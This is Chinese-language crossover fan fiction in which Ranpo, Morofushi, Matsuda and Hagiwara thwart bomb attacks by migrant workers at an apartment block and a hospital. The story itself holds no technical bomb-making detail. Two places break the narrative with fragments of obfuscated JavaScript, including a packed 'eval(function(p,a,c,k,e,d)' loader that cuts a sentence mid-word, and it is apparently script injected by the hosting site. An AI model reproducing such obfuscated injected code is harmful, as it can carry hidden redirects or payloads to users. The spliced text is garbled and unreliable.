0=7.0.6();b(/a|9|1|2|5|4|3|c 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一次留学、一个陷阱,就会让一个遥远的家庭落入深渊。 “所以,只要稍微想想就知道了,这起案件的凶手必定是在青城叶介绍的劳工之间,并且一定是团伙作案。” 江户川乱步蹲下身去,拈起一块亮晶晶的玻璃碎片,高举起来对准光源,翠色的眼眸眯起。 “爆炸发生的那一瞬间,窗户被冲击波由内而外震碎,如果是燃气管道爆炸,那一瞬间那种独特的刺鼻气味应当相当明显才对,但事实却并非如此。” “比起煤气味来,我闻到的是另一种更加熟悉的气味,就好像每次烟火大会结束后常常会在现场闻到的那种气味,这种气味大部分人都不会陌生。” 警察大叔记录笔记的动作一顿,脸色难看起来,“硝烟味……” “没错!”江户川乱步扔下玻璃碎片,拍了拍手上的灰,“就是硝烟味!按理说闻到的人应该绝不在少数才是,但却没有一个人对你们提起,这件事情不也很奇怪吗?” “但是。”诸伏景光提出异议,“我也有在青城先生身上闻到过气味,但刚刚做笔录的时候却忘记提起了,会不会其他人也是这样的情况呢?” 江户川乱步说道,“那是因为警察对你的问询重点在于解救青城叶的过程,但对于一般住户而言,就不会存在引导性提问,只会让他们将所注意到的异常地方都讲一遍。” “的确,如果刚刚问询的过程里哪怕有一个人提到气味的问题,考虑到那间公寓里可能有爆炸.物的存在,起码应该将现场的群众疏散才是。”警察大叔眉头紧锁,“所以,究竟为什么?” “答案很简单。”江户川乱步竖起手指,“只要你们弄清楚每层的住户名单,就会知道,距离1201室最近、最有可能嗅到异常气味的11、12、13楼住户90%都是互助会中的外籍劳工。” “对于他们而言,这不仅仅是一次谋杀,更是一次集体裁决。也许真正动手的人只有几个而已,但互助会的成员们却不约而同地选择了沉默、隐瞒或是成为帮凶。” “因为这里的所有人都有着一个共同的软肋——那就是他们绝不能被遣返回国、离开日本。这个软肋青城叶可以利用,他们的同胞们自然也可以利用。” “考虑到他们获取爆炸.物原材料的渠道,我认为就从附近的建筑工地调查起比较好,你们不觉得,用于爆破的工业炸药有时候管理并不严格吗?当然,如果青城叶能清醒过来最好,有当事人指证的话,你们结案起来会很轻松吧。” 江户川乱步无意插手警方的工作,他觉得自己说的已经够多了,“所以,你们不快点行动起来吗?” 他环视了一圈空地上的人,果然已经没有异国面孔了。 他意味深长地说,“再不快点的话,连医院都会遭殃哦。” 10. 第 10 章 两名警官显然意识到了事情的严重性,神色凝重起来,急匆匆地向上级汇报去了。 而一直站在一旁,静默着未发一言的诸伏景光用一双透蓝的眼瞳注视着他,倏忽笑了,发自内心地赞叹道,“感觉只要有乱步在,不管什么案件都会变得简单起来。” 哼哼。 江户川乱步得意洋洋地翘起嘴角来。 费了大堆口舌去这样细致剖析案件,将警察们当白痴般细心体贴地解释着前因后果,这样麻烦的事情,江户川乱步向来都是不耐烦做的。在组织里指挥小规模的突袭行动时,也只会以强硬的口吻逼迫着同事舍弃掉自我的思想,将自己当作趁手听话的兵器般听着他的命令行动。 说到底,不就是为了现在受到诸伏景光夸奖和崇拜的这一幕,才会愿意去做自己讨厌的事情吗? “我本来还以为有着那样过人才能的乱步会跟江户川叔叔一样成为厉害的名警官,为此还特地去考了警校,还想象过跟你在警察系统内重逢时的场景,只不过没想到小时候对文学一点都不感兴趣的乱步竟然会去做了小说家。” “不过,如果是乱步的话,不论做什么都一定会成功的,我一直这样相信着。” 江户川乱步怔愣一下,唯有这点,不在他的意料之内。 “你是因为我……才去考了警校吗?” 哥哥、父母、外守一,或是他天性中的善良与爱人如己,诸伏景光有太多的原因可以成为警察了,以至于江户川乱步就那样理所当然地接受了诸伏景光会成为警察这一事实,从未想象过,自己会在他的选择中占据一席之地。 “因为实在难以忘记,乱步你仅靠推理就阻止了犯罪发生的帅气样子,不论过去多少年,那时候的感激和震撼都留在心里。”诸伏景光的口中自然而然地流露出了那样令人蜷缩的真诚话语。 “我也想要成为那样的人,不是在事后姗姗来迟的人,而是能够在一切悲伤发生以前就将其掐灭的人……虽然会很艰难吧,也不是一时半会就能达到的目标,不过我会努力的。” 江户川乱步沉默着。 那短暂而虚幻的、仿佛旧日重临的温馨消散了,如同随心所欲的白日梦被戳破的那一瞬息,巨大的空虚侵吞全身,头脑却如冬潮侵袭般骤然感觉到某种冷冰冰的清醒。 他平静至极地说:“能做到那种事情的不是警察,而是神。” 诸伏景光无知无觉地笑了,发问着,“明明乱步就能做到那样的事情啊,难道是在自夸吗?” “我不是神,所以也做不到那样的事情。有时候,明知道悲伤的事情即将发生,却依然无可奈何、无能为力,这才是人。” 江户川乱步知道自己有些失控,却难以克制地说出了这样一段话来,令诸伏景光沉默了。 他敏感温柔的心几乎是立刻察觉到了些许不对,“抱歉,乱步。” 他转过头来,用那双让人难以拒绝的湛蓝眼眸认真注视着他,“虽然不知道你的身上发生了什么事情,但我想,没能明白一切却说出这样话的我,刚刚肯定是让你感觉到疼痛了吧……我为这份疼痛道歉。” “能告诉我,发生什么了吗?” 江户川乱步有些后悔。 为自己的冲动而后悔,今天本应该是很完美的一天,只要跟诸伏景光如白天那样不触及真心地交往,维系表面的友好与情谊,就能得到一段轻松愉快的时光,为什么要戳破这层薄薄的纸屏障呢? 明知道什么也无法改变、什么也不会改变。 “……抱歉!该道歉的是我才对。” 江户川乱步合起掌来,露出了笑眯眯的可爱笑脸,曾一瞬透露的真心又如同珍珠般被藏进了他紧闭的蚌壳之中,他拜托道,“小光,能将刚刚我说的话忘掉吗?是我不好啦,你的梦想是很珍贵的东西,请不要在意,继续坚持下去吧。” 他看见诸伏景光的嘴又张开了,惧怕着那其中又会说出什么令他动摇的话来,江户川乱步拉起了诸伏景光的手,想让他跟自己一起回到公寓楼上的安全屋。 江户川乱步逃避话题般说道,“火不是已经扑灭了吗?帮我一起看看屋子有没有损失吧。” 他试图扯着诸伏景光往楼上走,却发现对方纹丝不动。 ……又忘记了,这家伙已经进化成大猩猩了。 江户川乱步郁闷地想着。 “不要逃避,乱步,如果你现在不想说,我也不会勉强。”诸伏景光的眼神之中透露出某种坚定而严厉的东西,如同钉子般将江户川乱步的神魂都钉牢了。 “但一直逃避下去解决不了任何问题,如果哪天你想好了,就来找我吧。作为朋友,我会毫无保留地帮助你。” 说完这些话,诸伏景光松开了手,后撤一步,体贴极了,“今天也很迟了,我得先回去了。” 显得那样得体、成熟。 他弯起眉眼,“乱步,下周见。” 江户川乱步讨厌极了那种姿态,仿佛他是个未能褪去幼稚的长不大的小孩一样,总是被包容、放纵又被排挤在外。 小光这家伙分明什么也不懂……最好还是什么也不要懂。 他说不出一句辩解的话语,只能埋头闷声道,“……小光。再见。” 于诸伏景光而言,这真是兵荒马乱的一天。 没能赶上末班车,只好乘着出租车匆匆忙忙在宵禁前回到了警校,从乱步家走的突然,后面也没有回去拿东西,半路上才想起来本来想拿一本乱步的作品回来看的。 算了。 现在也没有这份心情。 他还是没能知道,究竟发生了什么样的变故,才会把乱步变成那副模样,那幅不再信任自己、也不再信任他人的模样,光是看着就让人揪心。 诸伏景光心情沉重地回到宿舍,被等候他多时的降谷零抓了个正着。 “景!你有看到松田和萩原吗?” “不,没有,他们怎么了吗?” 降谷零神情严肃,“他们两人下午请了假去医院,到现在都还没回来,鬼冢教官不放心打电话过去,两人都没有接,这才联系我,问问我们知不知道他们两人怎么了。” 诸伏景光听完之后也皱起眉头,按照那两人的性格,不会无缘无故失联才对。 虽然才认识了短短几个月,他、降谷零、萩原研二、松田阵平和伊达航这同为鬼冢班的五人却一同经历了不少事情,结下了深厚的情谊,对彼此的个性也都相互摸透了。 萩原研二善于交际、情商很高,虽然看上去一副花花公子的样子,却很会照顾他人的感受,从来不会做出让人担心的事情,而松田阵平虽然一副暴躁冲动的恶人样,还曾经发出要揍警视总监一顿的暴言,但实际上性格却很冷静,并且头脑敏锐、洞察力惊人,实在让人想象不到他粗心大意的样子。 是……出什么事情了吗? 诸伏景光忧心忡忡,“零,你知道他们是去了哪个医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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浑身焦黑、呼吸困难的男人实在过于可怖,在走廊里就引起一阵惊呼,也令松田阵平皱起了眉头,“那种痕迹……” 绝不像是寻常火灾所造成的大面积烧伤,或者说,在烧伤痕迹掩盖之下,那强有力的溅射状瘢痕被忽视了,对炸弹格外敏感的松田阵平直觉不对。 “这附近有什么爆炸案发生了吗?” 而萩原研二已经自如地跟送青城叶过来医院的留学生搭上话了,不一会儿就得知了事件的真相。 “小阵平猜错了呢,不是爆炸案而是火灾,爱城公寓十二楼的一间公寓发生了火灾,事件发生时只有那位先生一人在家,所以不幸地被烧伤了。” 松田阵平坚持自己的推理,“不,绝对是爆炸,如果是火灾的话,那就是火灾蔓延,点燃爆炸.物所引起的爆炸,等医生检查过后也绝对会发现伤口中卡住的爆炸.物残片。” “即便是这样,也说明不了什么吧,只能说得注意用火用电安全?”萩原研二搭上了松田阵平的肩,哀叹着抱怨道,“好了,我们去留观室吧,等个半个小时就能回去了,啊,今天真是倒霉的一天,被猫抓伤,伤到手指还破了财,接下来还有两针疫苗得按时过来打。” 虽然很同情在火灾中遭难的人,但他们并没有太在意他身上异样的伤痕,直到一个拄着拐杖、包裹严实的男子与留学生汇合。 11.第 11 章 真奇怪不是吗? 刚刚还只是送邻居来医院的好心留学生,摇身一变,又成了帮忙照顾同样背井离乡来到日本的远方亲戚的热心青年了。 在人来人往嘈杂的病院,或许也只有萩原研二和松田阵平注意到了这一点,他们对视一眼,无需言语沟通,就默契地跟了上去,一直跟到了一处偏僻的楼梯间。 人数是让人吃惊的庞大,小小的楼梯间里竟然聚集了近十人,有人在楼梯口把风,有人围绕在那个留学生身旁警惕护卫——要知道这里可是人来人往的医院,这样显眼的会面,只能说明犯罪者的仓促和决绝。 他们都跟拄拐的男子一样,穿着略厚,此时正各自从怀里掏出些用防水布包裹的块状物、几卷电工胶带,以及一些电子零部件——电容器、电路板和颜色各异的导线等等,一股脑地交给了那个留学生。 留学生一改开朗热心的模样,沉下脸来,手指灵活地将那些零碎的配件拆散、截断又重装,让松田阵平越看越心惊,尤其是被防水布包裹的块状物一拆开,几乎让他跳起脚来——那绝不是普通的自制火药,从包裹物的形状和那节特制的雷.管来看,分明是用于建筑爆破的工业炸药! 他用气声对萩原研二说,“可恶!他们在现场组装炸弹!” 松田阵平凝神观察着留学生的动作,牢记着炸弹结构的同时,也在心中飞速计算着炸弹的威力。 这帮人手头拥有的那包炸药完全可以造成灾难性后果,但眼前这个留学生却只取用了其中一小部分。 他正在组装的,是一个威力被尽量控制的装置——足够在近距离内确保杀死目标,却又将爆炸范围限制在数米之内。 松田阵平不认为炸弹犯有着顾及普通民众的良心,这样克制的炸药量或许说明,在犯罪计划中,炸弹爆炸时,犯人之中会有人无法远离爆炸中心,这是他们给自己留出的逃生空间。 萩原研二的脸色也凝重了起来,一旦炸弹组装成功,医院就会面临着爆炸的危险,这里还有着这么多来看病的普通民众,必须立即阻止他们,绝不能让犯人得逞! 但现场的人数之多是他们两人无法对抗的,萩原研二拉着松田阵平悄悄后退,想要报警通知这里的危险之后,再试着破坏一两个零部件。 但在那之前,他们的手机铃声率先响了起来。 他们在医院延误了太久,已经超过了预定回去的时间,因此教官打电话过来了。 松田阵平眼疾手快地按下了静音键,但显然来不及了,对方也早有会被发现的觉悟,一点点动静都会触及到他们敏感的神经,几个人瞬间警觉地压制住了他们,将他们逼到了楼梯间的角落里。 像是首领的留学生自顾自地完成了自己手头工作的收尾,一个简单粗陋的遥控.炸弹就形成了。 他看了看松田阵平和萩原研二两人,没有伤人的意图,只是将他们身上的手机搜出来关机带走,又留下五人在原地看守他们,就带着剩下的人离开了。 “你们几个为什么要这样做?” 萩原研二不动声色地打量着眼前的情况,人数上他们不占优势,而从体型上,几个外籍男子看上去都像是做苦工的,肌肉结实,而且手中都备了武器,或是棍棒、或是钢管、或是匕首,要靠他们两人突围,不太现实。 但他们虽然参与进了那个爆炸犯的行动之中,看上去却并不十分坚定,一副担忧又后悔的神色,要不是领头的爆炸犯用听不懂的语言对他们喊了几句,可能他们也不会形成这幅局面。 所以萩原研二想要试试看能否沟通劝降,“你们来到日本也只是想要赚钱而已吧,根本没有必要跟着那个人做这样危险的行为!” 但眼前的几个人纷纷露出了茫然的神色来,只有一个人用生涩的日语在对他说,“你们在说什么,我们听不懂,我们是别的国家来这里的。但是,不会让你们阻止、阻碍那个人的行动!” “待在这里!直到结束!” 完蛋。 萩原研二感到绝望,语言不通把他们最后一条路给堵死了。 而松田阵平在看到眼前的状况之后,举起双手,示意自己无害,慢慢蹲了下来,还拽了拽萩原研二的衣角,让他跟自己一起。 萩原研二会意,他们是一起长大的幼驯染,对彼此的想法都相当了解,果不其然,在他们两人都表示服从之后,身体紧绷、神情紧张的几个外籍男子也变得放松了下来。 他们不敢随意交流,因为对方听不懂日语,很可能会把他们对话的行为理解为挑衅,只能通过肢体语言交流。 松田阵平给了他个信号,让他稍安勿躁,等待时机。 这群外籍男子并非穷凶极恶的歹徒,更像是被松散组织起来的普通工人,拿着棍棒武器的姿势相当生疏,连站姿都破绽百出,甚至留有些淳朴的善意,在发现他们半蹲着的姿势不太舒适时,其中一个人走了过来,将他们按到了地上坐着。 谢谢他,但说实话,坐着的姿势让他们准备反击时有些被动。 松田阵平的计划简单粗暴,就一个等字,等待缴械的时机,等待突围的时机,等待这群人松懈的时机,而这时机来的很快。 只不过五分钟而已,或许是犯罪的压力让紧绷焦虑的情绪达到了极限,五个人的其中三个就忍耐不住抽起烟来,只剩一只手松松地拎着武器,另外两个人嫌弃地离得远了些,稍年轻些的那个更是忍不住用陌生语言、语气生硬地说了同伴几句。 好机会! 萩原研二的眼睛亮了起来,而松田阵平跟他对视一眼,在背后悄悄用手指了指拿着匕首的人和拦在楼梯口的人,确认了作战计划,而后给他比着数字,倒数三、二、一—— 就是现在! 萩原研二和松田阵平同时暴起,扑了出去,松田阵平夺下了危险的匕首,而萩原研二一个过肩摔放倒了拦在楼梯口的人,同时一个旋身踢开了从背后袭击松田阵平的年轻男子。 “小阵平,快跑!” 萩原研二拦下了从四面八方袭来的棍棒攻击,喊话的短短几秒钟,小臂、肩膀就各挨了一棒,肌肉骨骼受到重击的闷响几乎让人牙酸,萩原研二咬牙坚持,心中叫苦不迭,右半边身体的神经都仿佛被一阵电流钻过,整个麻痹了,挨打的部位热烫的惊人,几乎能感觉到淤痕正快速隆起。 好在松田阵平干脆利索地顺着他开辟出的缺口逃走了,解放了他的后顾之忧,萩原研二一矮身,险之又险地避过了头顶上挥舞的棍棒,回身凌厉地扫腿将离得近的两个人给绊倒了,趁他们滚做一团,捂住麻木的右边手臂跟上了松田阵平。 他们又重新回到了医院走廊里,身后的追兵迟疑了,不敢直接暴露在人多的地方,踌躇一会,拧身离开了。 而松田阵平刚一从楼梯间冲出来,就猝不及防地撞倒了一个青年。 “好痛!” 对方跌倒在地,捂着手肘龇牙咧嘴地痛呼,侦探帽飞了出去,跌落在一旁,他明亮如一握翠石般的眼眸生气地瞪着他们,不满道,“就算是着急报警也不能不看路啊!” “请问您身上带手机了吗?”萩原研二已经顾不得道歉,焦急地问道。 而松田阵平眼尖,瞥见从青年漆黑风衣口袋中露出的手机一角,急匆匆说了句“借下手机!”,不等回复便毫不客气地自己动手抽了出来,拇指一按,速度极快地拨出了报警电话。 江户川乱步撇撇嘴,自己站起身,捡起掉落的侦探帽拍了拍灰尘,扣回了自己头上,他眼神瞥向了自己被松田阵平握在手中、正在通话的手机,并不怎么在意。 青城叶会被报复,这是早有预料的事情,从青城叶搬来爱城公寓,跟他做了邻居的那一刻,江户川乱步就已经看到了这样的未来。 他对阻止悲剧毫无兴趣,这个世界上,作恶与复仇,害人与被害,本就是天经地义、不停重复的老套故事。 所以他只是如一个旁观者般,静静地注视着命运走向既定的结局,直到诸伏景光说出了那样的话,说什么要在悲剧发生前将其掐灭、要成为如他一样的人…… 那只不过是建立在错误认知上的暧昧信念而已,就好像泡沫一样,一旦裸露在干燥现实之中,立刻就会破灭。 虽然如此,在诸伏景光离开之后,江户川乱步却不知不觉地来到了这里,故意撞上这两个窥探到一些悲剧前奏的警校学生,连他自己也搞不清楚自己为什么要这样做,明明只是跟他毫无关系的麻烦事情。 或许……一刻也好、一天也罢,即便是徒劳,他也仍然希望那湿漉漉的泡沫能竭尽力气地轻盈飞舞,高一些、久一些,为这灰暗的世界也稍微带来一些明亮的彩色,让人知晓,希望是存在的。 将情况跟警方互通之后,萩原研二的心里也算是松了口气,让他有些诧异的是,电话中,接线员告知他警方已经在医院进行排爆检查了,也请他们尽快离开医院,保证自身安全。 “抱歉,先生,手机还给你。我们得尽快离开这里,医院里有可疑的爆炸犯在流窜,很危险!” 江户川乱步拿回自己的手机,塞回兜里,他双手叉腰,摆出一副可靠又神气的姿态,“这种事情我已经知道了,所以才会出现在这里!不用担心,既然有我在这里,就不会让罪犯得手!” 这样任性而自负的孩子气发言实在无法让人立刻信赖起来。 这时候,刚刚被忽略掉的细节也重新出现在了松田阵平的脑海里,卷发青年的眼神立刻犀利起来,“说起来,你这家伙刚一照面就知道我们想要报警了,不会是那帮人的同伙吧!” 江户川乱步 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松田阵平极力控制着自己的表情,他怀疑眼前的人就是传说中的微表情大师,能够从人类最微小的面部肌肉变动中读取常人无法察觉的信息,或者是都市传说中的超能力者,掌握着读心术之类的神奇能力。 不然科学根本无法解释这样头一次见面的陌生人,立即就能从面相看出来他擅长拆弹。 江户川乱步露出了无语的表情,“不是微表情大师也不会读心术,这只不过是简单的推理而已,只要看看你裤腿上沾上的化工材料和粉末、手指上硬茧的位置和变形的指节就能猜到一些信息了,明明是这么显眼的事情……如果要一一解释就没完没了了,所以姑且跳过!” 的确,现在情况紧急,松田阵平和萩原研二也赞成着江户川乱步的的说法,多余的细节等危机解除之后再慢慢探究也来得及,只是他们的心中仍有疑惑,眼前的青年究竟是谁,为什么会出现在这里,如果说这一切信息都是他推理得来的,那么他所说的一切都是可信的吗。 爆炸牵涉到这座医院里所有人的性命,即便心中已经倾向于想要相信,但松田阵平和萩原研二还是始终被理智拽着一根绳,让自己心中不断地保持着质疑。 “第三,犯人知道自己已经暴露,在警方排查之下隐蔽安放炸弹的难度很大,而且必定会被迅速发现。如果他稍微有点脑子,那么就只会采取突袭,也就是扔手雷般将炸弹投掷到青城叶身边,然后再跑出爆炸范围后引爆炸弹。” “第四,也是最重要的一点,这是一起互助会的团伙作案,但在这起案件之中,却有着明显的主次之分,主谋承担了绝大部分的工作,从犯只负责搜集原材料甚至仅仅只是沉默、隐瞒,负责误导警方的判断,在案件审理之中,这两个行为的判刑会相差巨大,甚至可能造成主谋无期徒刑、从犯无罪释放的局面。” “不觉得很奇怪吗?在多人作案的犯罪心理中,为了维系团队的忠诚,成员通常会平担风险,但这起案件却违背了这一规律。最合理的解释是他们之间存在着某种利益交换,虽然不清楚他们具体约定了什么……不过,他并非出于纯粹的仇恨而犯罪,这一点是确定的。” “正因为如此,他的决心远没有到可以随时同归于尽的地步,他还有承诺要等待同伴兑付,在没有看到那一幕成为现实以前,他绝对无法心甘情愿地牺牲。只要在重症监护室附近蹲守,将他也困在爆炸范围之内,再趁机夺走控制器,这场危机就能解除。” “我已经说得够清楚了,你们应该也明白了吧?” 萩原研二和松田阵平保持了一会沉默,而后其中留着中长发、有着一双温柔紫眸的青年才叹了口气,开口道,“抱歉……我相信你也很想抓住那个爆炸犯,制止这次犯罪,但你所说的一切都没有凭据,我们无法按照你所说的去行动。” “那个炸弹的确是遥控.炸弹。” 松田阵平冷不丁插嘴,“这一点是我亲眼所见,所以你说的计划也不无道理。不过,就像萩所说的那样,我们也有不能相信你的理由。” “我们会将你的推理作为最坏的预案记在脑子里,如果犯人真的如你所说的那样行动,那么赌上性命执行你的计划也无所谓!但在此之前,我们只会按照自己的意志、自己的认识去行动。” “不要误会了,我告诉你这一点只是为了让你了解,想要利用我们不太可能,现在我们也没有时间浪费在这里,所以,暂时分道扬镳吧。” “不过。不用担心。” 卷发青年的眼眸中流露出跃跃欲试的兴奋,将江户川乱步的话又奉还给了他,“既然有我在这里,炸弹就不可能爆炸!” 那种对于自身才能的自信和坚定不移的决心,犹如这平庸世界里一颗流星,划破天际之时带着光与热与希望,照亮人心。 怎么说呢。 江户川乱步胡乱想着。 真不愧是小光的朋友,他整个人在闪闪发光诶! 12.第 12 章 “我说过了吧,即便你们不相信我也可以,只要好好记住就行了。” 那个不知姓名的神秘青年留下了这样意味深长的一句话。 “该说的我已经说完了。等到你们遇到难题的时候,就会回想起来我说过的话。” 这样暧昧不明,让人一颗心被吊着左右摇摆的话语,还不如不说。 但现在不是考虑这个的时候,松田阵平和萩原研二先找到了前来排爆和调查的警官,再次将报警电话里的情报告诉了他们,包括遥控.炸弹、留学生、外籍劳工和团伙作案的事情。 然而,有关于那个神秘青年所推理的一切却毫无根据,他们两人默契地都没有提及,以免干扰警官的判断。 警官眉头紧锁,神情严肃,“感谢你们提供的线索,这些我们已经考虑到了,申请了加派支援警力、封锁出入口……不过,像这样涉外的案件,果然最好还是能够通过谈判解决。” 谈判。 这样敏感的字眼立刻就让松田阵平回想起了那个无名青年所说的话,对于这起爆炸案的主谋来讲,谈判是无效的。 不对! 松田阵平晃了晃脑袋,想要把那被人侵入的思维给甩出去。 这只是那个人的猜测而已!不能就这样顺着他的思路走了,万一能够通过谈判和平解决,不管对于谁而言都是最好的结果,怎么能从一开始就放弃这个机会呢。 旁边的萩原研二显然也是一样的想法,跟他对视了一眼,在谈判这件事上保持了沉默。 “有找到炸弹吗?” 旁边的警官,正通过无线电通话询问着。 经过无线电波转接变形的声音滋啦传出,“青城叶附近能安放炸弹的地方都已经排查过了,没有发现目标物。” ——犯人会采取的是投掷式袭击,排爆的工作是无用的。 如同有魔力般,那个青年笃定而自信的声音在脑海之中挥之不去。 萩原研二已经开始动摇了,凑到松田阵平的身边跟他说着小话,“要不要试试?” 他们两人都还是警校的学生,负责现场指挥的警官不会让他们参与到行动之中的,而且别看江户川乱步说着轻松,他的计划才是胆大包天地在乱来,竟然靠推理在赌丧心病狂的爆炸犯会贪生怕死、不敢在自身也处于爆炸范围内的时候引爆炸弹,说出来只会让指挥官当场心脏病发。 这大概也是江户川乱步没有找上在编警察,而是找上两个警校生的原因。 不过。 如果凭借着他现在的认识、现在的判断,认为江户川乱步给他们提供的计划是正确的,那么松田阵平就会毫不犹豫地去做,毕竟用萩原研二的话来说,他就是那种会在所有人都认为应该踩刹车的危急关头、一脚踩满油门的人。 “干吧。” 松田阵平简单而坚定地回了两个字。 重症监护室附近已经被不少防暴警察团团围住了,门、窗、卫生间几个入口严防死守,按道理说,已经绝不可能发生什么突然袭击了,剩下的工作只等着地毯式搜索将犯人抓住就行了。 但松田阵平仍然心中不安,他和萩原研二藏在墙角四面观察着,到底是哪里,犯人究竟会从哪里出现。 “上。” 随着一个平静却坚定的声音响起,简短明确的命令之下,一群肤色黝黑、异国面孔的劳工手持武器咬牙大喊着冲向了警察,靠着人数牵制着负责看守重症监护室门口的这队警察! 这实在是令人无法预料的惊人场景,爆炸犯竟然选择了正面突围,将一起报复行为上升到了跟警察械斗,这究竟是怎样的仇恨、怎样的决心,生活在经济发达国家的人们根本无法想象。 这样团伙作案的混乱场景之中,举着炸弹冲向了监护室的男人实在太过显眼了——那不是他们曾亲眼看过的犯人面貌,除去主谋之外,他们竟然还有能够舍身冲锋在前的同伙。 这是未曾被提及的线索。 让人不禁怀疑,那无名青年所说的爆炸犯会贪生怕死的判断真的正确吗? 但现在也别无选择,即便其中有所谬误,但放任主谋在外绝对是更加糟糕的选项! 当警察的目光和注意力全部被吸引到眼前的械斗之上时,悄悄隐匿于黑暗之中的主谋就会按下控制器,在葬送青城叶的同时,也全不在意现场无论是警察还是同伙的生命! 现在这里的所有人都不过是为主谋冲锋在前的士卒而已,真正掌握着关键的犯人没有现身,正藏身于楼梯间里静待时机,随时可能按下那个吞噬生命的按钮。 这是只有松田阵平和萩原研二才能发现的事,是只有他们才能制止的犯罪。 难道,这也在那个无名青年的预料之中吗? 松田阵平和萩原研二果断地冲了出去,逆着人流聚集的方向直奔主谋藏身的楼梯间! 一副衬衫西裤、留学生打扮的主谋,相较于其他同伙瘦弱矮小了些,见有人往自己这边来,立刻兔子一样跳起来逃跑。 但还是身高腿长的萩原研二速度更胜一筹,风一般追到了他的前方,再配合上松田阵平两面夹击,死死钳制住了主谋的双手,让他无力去触碰炸弹的控制器——虽然的确是出于这样的目的,但说实在,他们其实根本不确定控制器是不是在主谋身上。 ——将犯人也控制在爆炸范围之内,再搜查控制器。 江户川乱步的话几乎是立刻就浮现在脑海之中,他们也的确是下意识地按照他的计划照做了。 万分庆幸,一切如江户川乱步所说的那样,主谋是个怕死的人,而控制器也的确在他身上。 回到重症监护室门口时,防暴警们有些狼狈,但已经制伏了爆发袭击的外籍劳工们,主谋被带到了炸弹的爆炸范围内时几乎不再反抗了,任由警察搜身,将控制器找了出来。 眼看着这一幕,双手被手铐扣在身后的那个举着炸弹冲锋的男人激烈地挣扎了起来,黝黑手臂上肌肉犹如山岩般绷起,金属镣铐死死勒紧了手腕里,只是眨眼间就磨出了道道血痕。 他破口大骂般吐出一连串难懂的异国语言,其中反复地出现了一个词语,令他周边的同伴们都不由自主地面露恐惧,主谋更是沉默着,垂头不语,避开了跟他的眼神接触。 防暴警见状不妙,几个人一起将他拎起来,单独押去了别的房间冷静冷静。 随后排爆警也带着装备赶到现场,炸弹并非是不可移动的,因此他们直接将炸弹放进排爆桶中带走,准备带到空地直接引爆。 事情圆满 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黑色卷发的青年阴沉着脸,拧着的眉头显示出他烦躁不爽的情绪,“虽然的确如此,但不觉得糟透了吗?那种被人完全看透、操纵着的感觉。” 医院里正在进行最后的排查,确认安全隐患都消除之后,就要恢复正常的医疗秩序了,现在离开已经不会受到阻拦,但松田阵平和萩原研二仍然在意着那个无名青年的事情,在出口不甘心地等待了一会儿,来来往往的人群里,始终没有捕捉到那道神秘的身影。 可恶,他那个时候到底是怎么穿过警方的封锁进入到医院里面,又是什么时候悄无声息地离开了呢? 疑问和在意的事情越来越多,却得不到任何解答,只让那时候匆匆一瞥的幽灵青年在脑海里记忆越发深刻。 眼看着时间越来越晚,也只好放弃了。 警校的宵禁时间早已经超过了,什么时候回去都差不多,所以松田阵平和萩原研二并不着急,一边整理着互相注意到的线索,一边走出医院。 “他从一开始对犯人和案件都很了解,很有可能是相关人。”萩原研二食指抵着下巴,眉头微微蹙起,显出一副沉思的神情,“犯人第一次作案是在爱城公寓,试图将爆炸伪装成火灾让青城先生丧命,失败后才来医院第二次作案,这次的手法就变得激进许多,有种鱼死网破的决心。” “而那个人是为了制止第二次作案才来到医院的,这么说,他可能是爱城公寓的住户喽?” 萩原研二打了个响指,“很有可能!” 松田阵平抓了抓自己的卷毛,努力回想了一下,“说起来,他是不是提到过自己的名字,乱步大人……什么的?” “嗯嗯,就是这个,住在爱城公寓的乱步先生!情报已经相当充分了!”萩原研二的眉头终于舒展开,心中有种茅塞顿开的畅快,能在睡觉前将这件让人纠结的事情解开一小段线头,已经让他很感恩戴德了。 最起码今晚不会在意到失眠。 “哇,果然还是得要两人一起复盘一下,有这样的线索的话,明天再请假出去调查一下,一定能找到那位神秘的乱步先生的!” 萩原研二惬意地伸了个懒腰,一不小心牵扯到先前被棍棒击打到的伤处,顿时龇牙咧嘴,露出了一副苦瓜脸,“痛痛痛痛痛——!” 13.第 13 章 “你受伤了吗?” 松田阵平的眉头拧了起来,毫不客气地将萩原研二的袖子挽了上去,查看了下伤处,已经转变为淤积血液的青紫色了,“笨蛋!怎么不早点去处理!” 当时打斗的情景太过混乱,松田阵平没能注意到萩原研二挨了两棍,后面的形势又相当紧张,连萩原研二自己都完全忘了自己手臂受了伤,又跑去逮捕主谋,剧烈运动导致伤上加伤,现在一放松下来,立即就狠狠反扑回来,让萩原研二好好尝了番自己种下的苦果。 萩原研二讪讪,“刚刚完全忘记了……” “还好没有走远。”松田阵平嘀嘀咕咕道,他放下好友的袖子,扭头往回走,没好气道,“走吧,回医院去包扎一下。手指动不了、手臂也受伤了,这几天你就老老实实当一个残废吧。” 萩原研二露出一个坏笑,用完好的左手肘戳了戳松田阵平,促狭道,“小阵平,那在我痊愈之前,就拜托你好好照顾我了哦~” “OK,交给我吧。” 松田阵平豪气地一口答应了下来,如果不考虑他同样包着纱布的右手的话,的确有一些可靠男人的气概。 回到医院之后又折腾了很久。 医生检查过萩原研二受伤的小臂和肩膀位置后,考虑到可能有骨裂的风险,要求拍片检查,等待报告要一段时间,好在结果出来之后显示没有伤到骨头,只有皮肉伤,敷上药膏、包好纱布、又用绷带固定好姿势之后才算是告一段落。 憋不住的萩原研二一出医院门就开始哀嚎,“不能洗澡!研二酱要变成不受欢迎的臭男人了!” 松田阵平无语,“没那么夸张,医生说了可以擦身,只要避开受伤的地方就行了,不会臭的。” 他们一起走出医院的大门,现在这个时间点连公交都停运了,只能等着拦出租车了。 门口还有零星的警察在做最后的收尾工作,再旁边,是两个熟悉的身影,看样子已经在夜风之中等待许久了,连衣裳都沾染上冷露。 看见他们,夜色里疲倦的两个人都精神一振,黑发蓝眼的那个更是等不及,小跑着朝他们这里来了。 “松田!萩原!你们没事吧?” 这样焦急问着的人,凑近了一看,也是一身狼狈。 “放心吧,我们没事,倒是你,怎么穿着破烂衣服就出门了?”松田阵平挑高了眉,调侃道。 